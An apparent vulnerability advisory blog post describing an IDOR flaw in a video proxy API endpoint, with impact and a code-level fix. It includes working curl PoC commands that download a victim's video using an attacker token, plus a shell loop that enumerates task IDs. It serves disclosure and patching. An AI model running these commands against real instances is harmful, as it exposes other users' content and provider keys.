Listen to this Post
The vulnerability resides in the endpoint `GET /v1/videos/:task_id/content`.
This route is protected by `TokenOrUserAuth()` middleware, which authenticates the request and places the authenticated user’s ID into the request context.
However, the handler `controller.VideoProxy` does not use that user ID when fetching the task.
Instead, it calls model.GetByOnlyTaskId(taskID), which performs a raw database query:
`DB.Where(“task_id = ?”, taskId).First(&task)`.
No ownership verification is applied—any valid `task_id` in the path yields the associated task record.
The user ID from the context is available but ignored.
This allows any authenticated user who knows another user’s `task_id` to retrieve that user’s generated video content.
For Gemini tasks, the proxy additionally uses `task.PrivateData.Key` when contacting the upstream provider, and full upstream response headers are forwarded.
Other task-fetching code paths in the application correctly enforce ownership via model.GetByTaskId(userId, taskId).
The exposed proxy endpoint thus violates tenant isolation and media asset confidentiality.
An attacker can exploit this by issuing a simple authenticated GET request with a foreign task ID.
The server responds with `200 OK` and the victim’s video content, without any ownership check.
This issue is an Insecure Direct Object Reference (IDOR) that can be exploited with minimal knowledge.
The fix is straightforward: replace the unsafe lookup with the ownership‑enforcing `GetByTaskId(userId, taskID)` function.
dailycve form:
Platform: Video Proxy API
Version: Not specified
Vulnerability: IDOR video access
Severity: Medium
date: 2026-03-23
Prediction: Expected patch 2w
What Undercode Say:
PoC – download victim video using attacker token
curl -o stolen_video.mp4 \
"https://<instance>/v1/videos/<victim_task_id>/content" \
-H "Authorization: Bearer sk-<attacker_token>"
Check for verbose upstream header leakage
curl -v "https://<instance>/v1/videos/<victim_task_id>/content" \
-H "Authorization: Bearer sk-<attacker_token>"
Automate task ID enumeration (example wordlist)
while read task_id; do
curl -s -o /dev/null -w "%{http_code} %{url_effective}\n" \
"https://<instance>/v1/videos/$task_id/content" \
-H "Authorization: Bearer sk-<attacker_token>"
done < task_ids.txt
how Exploit:
- Obtain a valid authenticated token for any user.
- Discover or guess a victim’s `task_id` (often sequential or predictable).
- Send a GET request to `/v1/videos/
/content` with the bearer token. - The server returns the victim’s video content without verifying ownership.
Protection from this CVE
- Replace `model.GetByOnlyTaskId(taskID)` with `model.GetByTaskId(userId, taskID)` in the `VideoProxy` handler.
- Enforce ownership at the database query level for all task‑fetching operations.
- Implement robust input validation and consider using UUIDs instead of predictable task IDs.
Impact
- Unauthorized download of another user’s generated video content.
- Bypass of tenant isolation for media assets.
- Leakage of upstream provider keys (Gemini) and full response headers.
- Potential for mass data extraction if task IDs are sequential.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
